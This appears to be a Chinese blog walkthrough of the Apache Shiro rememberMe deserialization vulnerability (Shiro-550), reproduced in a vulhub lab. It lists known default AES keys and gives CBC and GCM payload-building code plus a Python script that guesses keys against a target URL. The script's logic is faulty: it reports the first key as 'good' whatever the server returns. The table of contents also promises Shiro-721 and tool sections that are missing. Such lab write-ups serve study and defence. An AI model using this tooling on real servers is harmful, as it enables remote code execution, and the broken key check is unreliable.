Apache Shiro 反序列化漏洞
一、简介
二、环境
三、漏洞原理
四、AES秘钥
1、判断AES秘钥
五、Shiro rememberMe反序列化漏洞(Shiro-550)
1、版本1.4.2之前
该版本漏洞利用
2、版本1.4.2之后
该版本漏洞利用
六、Shiro Padding Oracle Attack(Shiro-721)
1、漏洞利用
七、图形化工具
shiro漏洞已经曝光很久了,一直没有整理思路与详细步骤,最近在学习java的反序列化,复现该漏洞来方便之后的学习
一、简介
Apache Shiro是一款开源企业常常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。
二、环境
kali-2021 攻击机 192.168.8.9
docker vulhub 192.168.8.6
cd /vulhub/shiro/CVE-2016-4437 docker-compose up -d
三、漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
1.首先正常登录,然后生成带有rememberme的返回cookie值。 2.生成cookie,shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager 3.之后进入serialize,对登录认证信息进行序列化 4.然后加密,调用aes算法。 5.加密结束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回 6.解析cookie 7.先解密在反序列化 8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码 9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager这里用的是默认反序列化类,然后触发生成反序列化。
Shiro 1.2.4版本默认固定密钥:
Shiro框架默认指纹特征:
- 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
- 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
- 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
- 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
四、AES秘钥
在Shiro 1.2.4以及之前的版本中AES加密的秘钥都是默认的编码在代码里的(SHIRO-550),1.2.4以上移除了默认秘钥,需要开发者设置或者默认动态生成,降低了秘钥泄露的风险。
但是一些开源的项目内部集成了shiro的二次开发,可能会有低版本shiro的默认秘钥的风险,一些用户搭建环境时会使用网上的教程来快速搭建,直接复制了网上的秘钥,从而造成了秘钥的泄密,引发了反序列化漏洞。
可以在github上使用命令
"securityManager.setRememberMeManager(rememberMeManager);Base64.decode(“ 或 "setCipherKey(Base64.decode(”
1、判断AES秘钥
密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,
而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段
shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
CBC算法的shiro生成payload的关键代码如下,也就是我们通用的生成shiro攻击代码
python中有实现aes-cbc的算法,通过指定mode为AES-CBC,遍历key,随机生成iv,配合ysoserial的gadget即可生成payload
BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes file_body = pad(file_body) encryptor = AES.new(base64.b64decode(key), mode, iv) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
而在1.4.2以后由于padding oracle的影响,shiro官方把加密方式改为了GCM,所以我们需要更改脚本,添加GCM下的攻击方式去攻击高版本的shiro,通过跟踪代码动态调试可以看出确实是使用GCM加密
所以shiro的攻击脚本中的核心代码我们来修改一下,GCM加密不需要padding,但需要一个MAC值(也就是我代码里的tag),这块可以自己跟一下源码,核心代码如下:
iv = os.urandom(16) cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv) ciphertext, tag = cipher.encrypt_and_digest(file_body) ciphertext = ciphertext + tag base64_ciphertext = base64.b64encode(iv + ciphertext) return base64_ciphertext
密钥集合我这里简单列举了几个,网上流传大量现成的 Shiro 100 Key集合,请自行查找替换。密钥判断脚本如下:
输入目标的url,通过判断返回包是否存在Set-Cookie:rememberMe=deleteMe来判断秘钥是否正确
import base64 import uuid import sys import requests from Crypto.Cipher import AES def encrypt_AES_GCM(msg, secretKey): aesCipher = AES.new(secretKey, AES.MODE_GCM) ciphertext, authTag = aesCipher.encrypt_and_digest(msg) return (ciphertext, aesCipher.nonce, authTag) def encode_rememberme(target): keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥 BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==') for key in keys: try: # CBC加密 encryptor = AES.new(base64.b64decode(key), mode, iv) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body))) res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False) if res.headers.get("Set-Cookie") == None: print("good KEY : " + key) return key else: if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"): print("good key:" + key) return key # GCM加密 encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key)) base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2]) res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False) if res.headers.get("Set-Cookie") == None: print("good KEY:" + key) return key else: if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"): print("good key:" + key) return key print("good key:" + key) return key except Exception as e: print(e) if __name__ == '__main__': encode_rememberme(sys.argv[1])